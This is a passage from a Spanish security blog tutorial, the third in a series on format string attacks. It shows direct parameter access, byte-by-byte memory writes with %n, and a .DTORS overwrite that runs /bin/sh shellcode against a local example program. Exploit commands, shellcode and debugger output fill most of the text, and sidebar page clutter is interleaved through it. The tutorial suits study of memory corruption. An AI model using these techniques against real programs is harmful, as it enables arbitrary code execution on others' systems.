Vous êtes sur la page 1sur 6

Entradas RSS

Participa en Hpys

Retos

Blogroll en espaol

Blogroll in English

Twitters

Format String Attack III de III


PUBLICADO POR SEBASTIN GUERRERO ON LUNES 20 DE DICIEMBRE DE 2010 ETIQUETAS: TCNICAS

Sguenos en Twitter Suscrbite va RSS

Recibe las ltimas novedades del blog

Seguimos con la serie de entradas dedicadas a la tcnica Format String Attack Format String Attack I de III Format String Attack II de III Format String Attack III de III

en tu e-mail: Subscribe

Direct Parameter Access (DPA)


En las entradas anteriores hemos podido comprobar como para explotar este tipo de vulnerabilidades necesitabamos introducir un nmero secuencial de parmetros de formato como %x acompaados de palabras de 4 bytes para conseguir de forma exitosa sobreescribir una direccin de memoria en una zona arbitraria de la memoria. Translate to English

Nmero de visitas

Con el DPA conseguimos simplificar todo este trabajo y tener acceso a la direccin de forma directa usando el signo del dlar '$'. Usemos el siguiente cdigo de ejemplo

227,305
Cuales son los mejores firewall de red?
Checkpoint Cisco Clavister

sebas@Penetraitor:~/roote/Universidad/PFC/string-attack$ gcc -o dpa-poc dpa-poc.c sebas@Penetraitor:~/roote/Universidad/PFC/string-attack$ ./dpa-poc Sexta posicin: 6

Si antes necesitabamos acceder al dato en el duodcimo offset, usando para ello "%x" doce veces, ahora podemos obtener lo mismo usando para ello:

CyberGuard Fortinet Juniper

sebas@Penetraitor:~/roote/Universidad/PFC/wiki/tutoriales/string-attack$ ./fst_example BBBB%12\$x Correcto: BBBB%12$x Incorrecto: BBBB42424242

Lucent Microsoft Netfilter Netgear OpenBSD pf SonicWALL

Adems tambin conseguimos simplificar el proceso de escritura en las direcciones de memoria, puesto que al poder ser accedida directamente, no hay necesidad de usar esos 4 bytes separadores innecesarios para aumentar el contador de bytes.

StoneSoft Symantec WatchGuard Otros

Para ejemplificar todo esto un poco ms y exponer ejemplos ms cercanos, vamos a tratar de escribir alguna direccin de memoria de alguna variable de entorno que tenga por contenido una shellcode basndonos para ello la tnica de DPA.

You may select multiple answers.


Voto

Mostrar resultados

Votos hasta el momento: 62 Das que quedan para votar: 26

sebas@Penetraitor:~/roote/Universidad/PFC/string-attack$ export SHELLCODE=`perl -e 'print "\x90"x50,"\x31\xc0\x50\x68//sh\x68/bin\x89\xe3\x50\x53\x89\xe1\x99\xb0\x0b\xcd\x80"'`

Blogs amigos
Exploits and Security

Localicemos su posicin exacta:

Flu Project Open-Sec SeGueSec SlowBait's logbook

sebas@Penetraitor:~/roote/Universidad/PFC/wiki/tutoriales/string-attack$ ./getenvaddr SHELLCODE

SHELLCODE est localizada en 0xbffff5e0

Entradas populares del mes


Solucin al reto 3 del GP de Bahrein Aprovechando el gran premio de Espaa de Frmula 1 celebrado en Barcelona durante el pasado fin de semana, queramos publicar la solucin a ... LOIC: la herramienta DDoS utilizada por Anonymous LOIC (Low Orbit Ion Cannon o Can de Iones de rbita Baja) es una aplicacin de pruebas de estrs en red de cdigo abierto, escrita en C# ... int3pids gana un coche en el concurso de hacking del SCS3 int3pids lo ha vuelto a hacer y acaba de alzarse con el triunfo de otro Wargame internacional , el CarGame Challenge del Swiss Cyber Storm... Entrevista a Mercedes Hortelano del Partido Pirata de Madrid Se acercan las elecciones municipales del 22 de mayo y una alternativa al panorama bipolar

Ejecutando gdb para obtener informacin adicional:

sebas@Penetraitor:~/roote/Universidad/PFC/string-attack$ gdb ./fst_example -q (gdb) break main Breakpoint 1 at 0x08048382 (gdb) run Starting program: /home/roote/Universidad/PFC/wiki/tutoriales/string-attack Breakpoint 1, 0x08048382 in main () Current language: auto; currently asm (gdb) x/s 0xbffff5e0 0xbffff5e0: ".gpg-agent:3824:1" (gdb) x/s 0xbffff5e0+18 0xbffff5f2: "SHELLCODE=", '\220' , "1!Ph//shh/bin\211!PS\211!\231!\v!\200" (gdb) x/s 0xbffff5e0+43 0xbffff60b: '\220' , "1!Ph//shh/bin\211!PS\211!\231!\v!\200"

Ya sabemos que nuestra shellcode est en la direccin 0xbffff60b y que: Primero: 0xe0 - [ Valor del offset ] Segundo: 0xf5 - 0xe0 Tercero: 0xff - 0xf5 Cuarto: 0xbf - 0xff

El buffer de direcciones que debemos escribir es:

actual es el Partido Pirata , un partido que sur... Cul es el mejor firewall de red?

"\x48\x96\x04\x08\x49\x96\x04\x08\x4a\x96\x04\x08\x4b\x96\x04\x08"

Instalar y gestionar los firewalls o cortafuegos de una empresa siempre es divertido, uno se siente

Para hacernos una idea de cmo nuestro ataque utiliza el direct parameter access podemos echarle un vistazo a esto: controla y ...

como el amo del calabozo que

Primero escribe: %[offset]$[valor]x%[offset]$n Segundo escribe: %[offset]$[valor]x%[offset+1]$n Tercero escribe: %[offset]$[valor]x%[offset+2]$n Cuarto escribe: %[offset]$[valor]x%[offset+3]$n

Autores
Vicente Motos Jose Manuel Moreno Javier Ripoll Martin Mielke Ignacio Martin Sebastin Guerrero contribuciones

Ahora tratemos de escribir 0xe0 en la primera direccion del buffer

sebas@Penetraitor:~/roote/Universidad/PFC/string-attack$ ./fst_example `printf "\x48\x96\x04\x08\x49\x96\x04\x08\x4a\x96\x04\x08\x4b\x96\x04\x08"`%12\$x%12\$n Correcto: H!I!J!K!%12$x%12$n Incorrecto: H!I!J!K!8049648 (-) Valor @ 0x08049648 = 23 0x00000017

Archivo del blog


! 2011 (103) " 2010 (190) " diciembre (24) Lo ms visto del 2010 en Hackplayers

Calculamos el desplazamiento:

Reto 9: Android crackme#1 Captan el movimiento de un fantasma con Kinect Un regalo de Navidad inesperado Ganador de la encuesta: Cul es el S.O. de tu sma... Felices fiestas! Liberada Secunia PSI 2.0 D0z.me: el acortador de URLs malicioso Primera Copa Hacker de Facebook Format String Attack III de III Ravan: Hash Cracking distribuido en JavaScript Metasploit 3.5.1 Introduccin a Format String Attack II de III

>>> 0xe0-16 208

sebas@Penetraitor:~/roote/Universidad/PFC/string-attack$ ./fst_example `printf "\x48\x96\x04\x08\x49\x96\x04\x08\x4a\x96\x04\x08\x4b\x96\x04\x08"`%12\$208x%12\$n Correcto: H!I!J!K!%12$208x%12$n Incorrecto: H!I!J!K! 8049648 (-) Valor @ 0x08049648 = 224 0x000000e0

El hecho de decrementar el valor en 16 bytes es debido a que es la distancia respecto a la primera direccin introducida.

>>> 0xf5-0xe0 21

Nuevo nmero de la revista "El Derecho Informatico... LOIC: la herramienta DDoS utilizada por Anonymous Puerta trasera oculta en Windows

Ahora escribamos 0xf5 en la segunda direccin del buffer

>>> 0xf5-0xe0 21

Introduccin a Format String Attack I de III Primer aniversario de Hackplayers Anonymous y las operaciones de castigo Zero Wine 2.0: herramienta de anlisis de

sebas@Penetraitor:~/roote/Universidad/PFC/string-attack$ ./fst_example `printf "\x48\x96\x04\x08\x49\x96\x04\x08\x4a\x96\x04\x08\x4b\x96\x04\x08" `%12\$208x%12\$n%12\$21x%13\$n Correcto: H!I!J!K!%12$208x%12$n%12$21x%13$n Incorrecto: H!I!J!K! 8049648 8049648 (-) Valor @ 0x08049648 = 62944 0x0000f5e0

malware Las vulnerabilidades ms notables del ao Directory Path Traversal Solucin al reto 8 de la nave perdida Nuevo nmero de Hakin9: Botnets, Malware, Spyware ... ! noviembre (17)

La siguiente direccin del buffer ser sobreescrita por 0xff:

! octubre (16) ! septiembre (14)

>>> 0xff-0xf5 10

! agosto (12) ! julio (18) ! junio (17)

sebas@Penetraitor:~/roote/Universidad/PFC/string-attack$ ./fst_example `printf "\x48\x96\x04\x08\x49\x96\x04\x08\x4a\x96\x04\x08\x4b\x96\x04\x08" `%12\$208x%12\$n%12\$21x%13\$n%12\$10x%14\$n Correcto: H!I!J!K!%12$208x%12$n%12$21x%13$n%12$10x%14$n Incorrecto: H!I!J!K! 8049648 8049648 8049648 (-) Valor @ 0x08049648 = 16774624 0x00fff5e0

! mayo (12) ! abril (12) ! marzo (14) ! febrero (17) ! enero (17) ! 2009 (84) ! 2008 (19)

Como podis ver el offset que delimita el final del rango del buffer a sobreescribir, por cada contenido que deseamos aadir es aumentado en uno.

Etiquetas
amenazas (12) android (6) antivirus (4) blogs amigos (3) certificaciones (4) contramedidas (1) cracking (3) criptografa (2) curiosidades (22) defaces (6) dos (3) encuestas (10) entrevistas (2) esteganografa (10) eventos (27) exploits (16) flash (5) foca (2) forense (10) fortificacin (3) gadgets (3) hardware (2) herramientas (86) ingeniera inversa (18) libros (7) linux (4) magazines (29) malware (28) maps (2) metadatos (2) metodologas (4)

NOTA: Para la operacin 0xff-0xf5 el valor obtenido ha sido 10, si al realizar este clculo obtenemos un nmero inferior a 8, sera necesario aadir 1 al principio del byte, es decir: 0x1ff-0xf5, pero en este caso no es necesario.

Por ltimo escribamos 0xbf en la cuarta direccin del buffer:

>>> 0xbf-0xff -64

Aplicando el consejo que hemos comentado antes, obtenemos el resultado correcto a partir de:

>>> 0x1bf-0xff 192

sebas@Penetraitor:~/roote/Universidad/PFC/string-attack$ ./fst_example `printf "\x48\x96\x04\x08\x49\x96\x04\x08\x4a\x96\x04\x08\x4b\x96\x04\x08" `%12\$208x%12\$n%12\$21x%13\$n%12\$10x%14\$n%12\$192x%15\$n Correcto: H!I!J!K!%12$208x%12$n%12$21x%13$n%12$10x%14$n%12$192x%15$n Incorrecto: H!I!J!K! 8049648 8049648 8049648 8049648 (-) Valor @ 0x08049648 = -1073744416 0xbffff5e0

Con esto llegamos a la conclucin de que la direccin de la shellcode ha sido escrita correctamente en la direccin de la variable.

Sobreescribiendo las zonas .DTORS

Cuando hablamos de clases y la instancia de objetos respecto a estas, debemos distinguir dos procesos comnes y estrechamente ligados entre s, el hecho de llamar al constructor de la clase para reservar un espacio de direcciones donde albergar el objeto, y el destructor utilizado para liberar la zona de memoria ocupada por nuestro objeto una vez el cometido de nuestra aplicacin finaliza.

normativas (1) noticias (51) off-topic (1) pentest (5) programacin (3) recomendaciones (4) recopilatorios (5) recursos (36) redes (3) retos (34) seguridad gestionada (2) tutoriales (14) tcnicas (25) videos (12) vulnerabilidades (36) wireless (1)

As podemos distinguir en nuestro ELF (entre otras) una seccin llamada .CTORS encargada de mantener informacin referente a los punteros de los constructores, y otra llamada .DTORS con informacin sobre los punteros de los destructores.

Por ahora basta con saber esto y que los constructores son lanzadas antes de que nuestro programa ejecute la funcin main, y que los destructores se ejecutan inmediantemente despus de que finalice con una llamada de salida al sistema. Nosotros en especial, vamos a centrarnos en la seccin .DTORS.

El motivo de esto, es debido a que la seccin .DTORS puede ser sobreescrita, por tanto podemos redirigir el flujo de ejecucin de nuestra aplicacin a la direccin que nosotros indiquemos una vez termine su ejecucin, as obligaramos por ejemplo a que se ejecutara nuestra shellcode.

Comentarios recientes Hacktimes wrote...

Veamos todo esto con pequeos ejemplos que nos clarifiquen un poco estos conceptos (cdigo fuente)

Vicente, vimos el advisory hace tiempo por full disclosure y nos pusimos a trabajar y a investigar algo ms el tema. Al final sali el artculo que has visto. Nos alegra que te haya gustado. Un... Continue >>

sebas@Penetraitor:~/roote/Universidad/PFC/string-attack$ gcc -o dtors_poc dtors_poc.c sebas@Penetraitor:~/roote/Universidad/PFC/string-attack$ ./dtors_poc Traza 1 - Dentro de la funcin construir atribuida al constructor. Traza 2 - Dentro de la funcin main. Traza 3 - Dentro de la funcin destruir atribuida al destructor.

Vicente Motos wrote...


muy buena entrada y muy completa!Se me pas leerla y eso que la tenemos en nuestro blogroll..yo lo le en Twitter, y vosotros? Y eso que la entrada con el advisory (http://j0hnx3r.org/?p=818) era del... Continue >>

VaxMAN wrote...
Ahora vamos a utilizar el comando objdump para examinar las distintas secciones y en nm para encontrar las direcciones de memoria donde estn ubicadas nuestras funciones: Interesante artculo, hace unos das ya publicamos en Hacktimes la vulnerabilidad e incluso la ampliamos con un mtodo para sacar la versin del vBulletin instalado. Pongo el enlace por si alguien... Continue >>

sebas@Penetraitor:~/roote/Universidad/PFC/string-attack$ nm ./dtors_poc 08049f20 d _DYNAMIC 08049ff4 d _GLOBAL_OFFSET_TABLE_ 080484dc R _IO_stdin_used w _Jv_RegisterClasses 08049f0c d __CTOR_END__ 08049f04 d __CTOR_LIST__ 08049f18 D __DTOR_END__ 08049f10 d __DTOR_LIST__ 08048590 r __FRAME_END__ 08049f1c d __JCR_END__ 08049f1c d __JCR_LIST__ 0804a014 A __bss_start 0804a00c D __data_start 08048490 t __do_global_ctors_aux 08048340 t __do_global_dtors_aux 0804a010 D __dso_handle w __gmon_start__ 0804848a T __i686.get_pc_thunk.bx 08049f04 d __init_array_end 08049f04 d __init_array_start 08048420 T __libc_csu_fini 08048430 T __libc_csu_init U __libc_start_main@@GLIBC_2.0 0804a014 A _edata 0804a01c A _end 080484bc T _fini 080484d8 R _fp_hw 08048294 T _init 08048310 T _start 0804a014 b completed.6635 080483c4 t construir 0804a00c W data_start 080483fe t destruir 0804a018 b dtor_idx.6637 080483a0 t frame_dummy 080483d8 T main U puts@@GLIBC_2.0

ftalos wrote...
Enhorabuena por el post. Muy elaborado.

Carlos wrote...
Arreglado... que soy un cazurro y no haba descargado el .NET Framework...Gracias!!

Visitas recientes

El comando objdump vamos a pasarlo con las opciones:

j - Mostramos solo informacin para la seccin que indiquemos, en nuestro caso ser la seccin .dtors. s - Indicamos que deseamos obtener toda la informacin posible sobre las secciones indicadas.

Live Traffic Feed

sebas@Penetraitor:~/roote/Universidad/PFC/string-attack$ objdump -s -j .dtors ./dtors_poc ./dtors_poc: file format elf32-i386 Contents of section .dtors: 8049f10 ffffffff fe830408 00000000 ............

Como comentbamos al principio, si hacemos un objdump a las cabeceras de seccin, observaremos que la seccin .DTORS no est etiquetada como slo lectura (READONLY), para esto nos apoyaremos en la opcin -h encargada de mostrarnos la informacin albergada en las cabeceras de las distintas secciones que componen nuestro fichero objeto.

sebas@Penetraitor:~/roote/Universidad/PFC/string-attack$ objdump -h ./dtors_poc ... 4 .dynsym 00000050 080481b0 080481b0 000001b0 2**2 CONTENTS, ALLOC, LOAD, READONLY, DATA ... 17 .dtors 0000000c 08049f10 08049f10 00000f10 2**2 CONTENTS, ALLOC, LOAD, DATA

Al principio de tratar esta seccin hablbamos sobre la posibilidad de sobreescribir una direccin de memoria y encauzar el flujo de ejecucin de nuestra aplicacin hacia esa direccin, de esta forma comentbamos que se podra ejecutar nuestra shellcode, aprendamos cmo hacerlo, pero antes debemos escribir el siguiente format string con DPA tal y como indicamos en la apartado anterior:

"%12\$208x%12\$n%12\$21x%13\$n%12\$10x%14\$n%12\$192x%15\$n"

Con esto escribiremos en la direccin 0xbffff5e0, que apunta a nuestra shellcode a travs de la variable "valor".

El siguiente paso ser construir nuestro buffer con las direcciones a ser escritas, para este ejemplo un buen comienzo podra ser la direccin donde est contenido el buffer de la seccin .DTORS:

sebas@Penetraitor:~/roote/Universidad/PFC/string-attack$ nm ./fst_example | grep DTOR 0804954c d __DTOR_END__ 08049548 d __DTOR_LIST__

Quedando el buffer:

See your visitors in RealTime! Get the Free Live Traffic Feed Get Feedjit Now! A visitor from Council Bluffs, Iowa viewed "Zero Wine 2.0: herramienta de anlisis de malware : hackplayers" 41 secs ago A visitor from Castrourdiales, Cantabria left "Introduccin a Format String Attack I de III : hackplayers" via pastebin.com 1 min ago A visitor from Castrourdiales, Cantabria left "Introduccin a Format String Attack I de III : hackplayers" via pastebin.com 3 mins ago A visitor from Castrourdiales, Cantabria left "Introduccin a Format String Attack I de III : hackplayers" via pastebin.com 4 mins ago A visitor from Castrourdiales, Cantabria viewed "Introduccin a Format String Attack I de III : hackplayers" 4 mins ago A visitor from Rancagua, Libertador General Bernardo OHiggins viewed "Bypassing Windows 7 with SET and Metasploit - Privilege escalation : hackplayers" 4 mins ago A visitor from Cali, Valle del Cauca viewed "Liberado "Nemesis" BackTrack 4 R2 : hackplayers" 47 mins ago A visitor from Santiago,

"\x4c\x95\x04\x08\x4d\x95\x04\x08\x4e\x95\x04\x08\x4f\x95\x04\x08"

Mapa de visitas recientes


Comprobemos si funciona: Recent Visitors

sebas@Penetraitor:~/roote/Universidad/PFC/string-attack$ ./fst_example `printf "\x4c\x95\x04\x08\x4d\x95\x04\x08\x4e\x95\x04\x08\x4f\x95\x04\x08" `%12\$208x%12\$n%12\$21x%13\$n%12\$10x%14\$n%12\$192x%15\$n Correcto: L!M!N!O!%12$208x%12$n%12$21x%13$n%12$10x%14$n%12$192x%15$n Incorrecto: L!M!N!O! 804954c 804954c 804954c 804954c (-) Valor @ 0x08049648 = 50 0x00000032 sh-2.05b$

FEEDJIT Live Page Popularity


Popular Pages Today 1. 2. 3. hackplayers 39.35% hackplayers: Blogroll en espaol 15.56% Publican cdigo fuente de Skype obtenido mediante ingeniera inversa : hackplayers 6.54% 4. 5. 6. hackplayers: English Blogroll 6.45% Allied Telesis filtra backdoors secretos : hackplayers 6.01% LOIC: la herramienta DDoS utilizada por

Listo, hemos conseguido sobreescribir correctamente nuestra seccin .DTORS y ejecutar nuestra shellcode.

0 com entari os: Publicar un comentario en la entrada E nl aces a esta entrada Crear un enlace Entrada ms reciente Pgina principal Entrada antigua

7. 8. 9.

Anonymous : hackplayers 5.66% Solucin al reto 3 del GP de Bahrein : hackplayers 5.66% vBulletin vulnerable a inyeccin SQL en search.php : hackplayers 5.39% Seguridad en switches Cisco : hackplayers 5.31%

10. Solucionario Nullcon CTF BattleUnderground 2011 : hackplayers 4.07%

Videos de seguridad - PLAY!

con la tecnologa de

Licencia

This obra by hackplayers is licensed under a Creative Commons Reconocimiento-No comercial-Compartir bajo la misma licencia 3.0 Espaa License.

Copyright 2010 hackplayers All rights reserved. Powered by Blogger

Top

Vous aimerez peut-être aussi